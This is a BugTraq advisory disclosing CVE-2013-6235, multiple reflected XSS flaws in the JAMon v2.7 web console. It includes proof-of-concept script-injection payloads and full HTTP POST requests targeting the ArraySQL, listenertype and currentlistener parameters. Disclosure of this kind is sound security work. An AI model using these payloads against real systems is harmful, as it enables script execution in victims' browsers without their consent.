BugTraq
[CVE-2013-6235] - Multiple Reflected XSS vulnerabilities in JAMon v2.7 Jan 23 2014 07:10PM
Christian Catalano (ch catalano gmail com)
###################################################
01. ### Advisory Information ###

Title: Multiple Reflected XSS vulnerabilities in JAMon
Date published: 2013-01-23
Date of last update: 2013-01-23
Vendors contacted: JAMon v 2.7
Discovered by: Christian Catalano
Severity: Low

02. ### Vulnerability Information ###

CVE reference: CVE-2013-6235
CVSS v2 Base Score: 4.3
CVSS v2 Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Component/s: JAMon v 2.7
Class: Input Manipulation

03. ### Introduction ###

The Java Application Monitor (JAMon) is a free, simple, high
performance, thread safe, Java API that allows developers to easily
monitor production applications.

http://jamonapi.sourceforge.net

04. ### Vulnerability Description ###

Multiple Non-Persistent Cross-Site Scripting vulnerabilities have been
identified in the JAMon web application.
JAMon contains a flaw that allows multiple reflected cross-site
scripting (XSS) attacks.
This flaw exists because certain pages do not validate input before
returning it to users.

+------------------------------+-------------------+
|-Vulnerable module(s)--------and----parameter(s)--|
+------------------------------+-------------------+
|mondetail.jsp --------------------ArraySQL--------|
|mondetail.jsp --------------------listenertype----|
|mondetail.jsp --------------------currentlistener-|
|jamonadmin.jsp -------------------ArraySQL--------|
|sql.jsp---------------------------ArraySQL--------|
|exceptions.jsp--------------------ArraySQL--------|
+------------------------------+-------------------+

05. ### Technical Description / Proof of Concept Code ###

05.01) Malicious Request ("ArraySQL" parameter):

The vulnerability is located in the ' Filter (optional) ' input field
upon submission to the pages

http://localhost/jamon/mondetail.jsp
http://localhost/jamon/ jamonadmin.jsp
http://localhost/jamon/ sql.jsp
http://localhost/jamon/ exceptions.jsp

The application does not validate the 'ArraySQL' parameter upon
submission to the *.jsp scripts.
The attacker can inject the malicious javascript code:

1-->1<ScRiPt >alert('XSS')</ScRiPt><!--

in the ' Filter (optional) ' input field and click on GO! button.

05.02) Malicious Request ("listenertype " parameter)

POST /jamon/mondetail.jsp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101
Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/jamon/mondetail.jsp
Cookie: JSESSIONID=3EFF8AFB46683B03B2CD73663A97FFDD.jboss1; ROUTEID=.jboss1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 209

listenertype=1-->1<ScRiPt>alert('XSS')</ScRiPt><!--&currentlistener=JAMo
nBufferListener&outputTypeValue=html&formatterValue=%23%2C%23%23%23&buff
erSize=No+Action&TextSize=&highlight=&ArraySQL=&actionSbmt=Go+%21

05.03) Malicious Request ("currentlistener " parameter)

POST /jamon/mondetail.jsp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101
Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/jamon/mondetail.jsp
Cookie: JSESSIONID=3EFF8AFB46683B03B2CD73663A97FFDD.jboss1; ROUTEID=.jboss1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

listenertype=value&currentlistener=1-->1<ScRiPt>alert('XSS')</ScRiPt><!-
-&outputTypeValue=html&formatterValue=%23%2C%23%23%23&bufferSize=No+Acti
on&TextSize=&highlight=&ArraySQL=&actionSbmt=Go+%21

06. ### Business Impact ###

This may allow an attacker to create a specially crafted request that
would execute arbitrary script code in a user's browser within the trust
relationship between their browser and the server.

07. ### Systems Affected ###

This vulnerability was tested against: JAMon v2.7
Older versions are probably affected too, but they were not checked.

08. ### Vendor Information, Solutions and Workarounds ###

Currently, there are no known upgrades or patches to correct this
vulnerability.

09. ### Credits ###

This vulnerability has been discovered by:
Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com

10. ### Vulnerability History ###

October 18th, 2013: Vulnerability identification
October 22th, 2013: Vendor notification [JAMon]
December 10th, 2013: Vulnerability confirmation [JAMonI]
January 23th, 2014: Vulnerability disclosure

11. ### Disclaimer ###

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.

###################################################

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus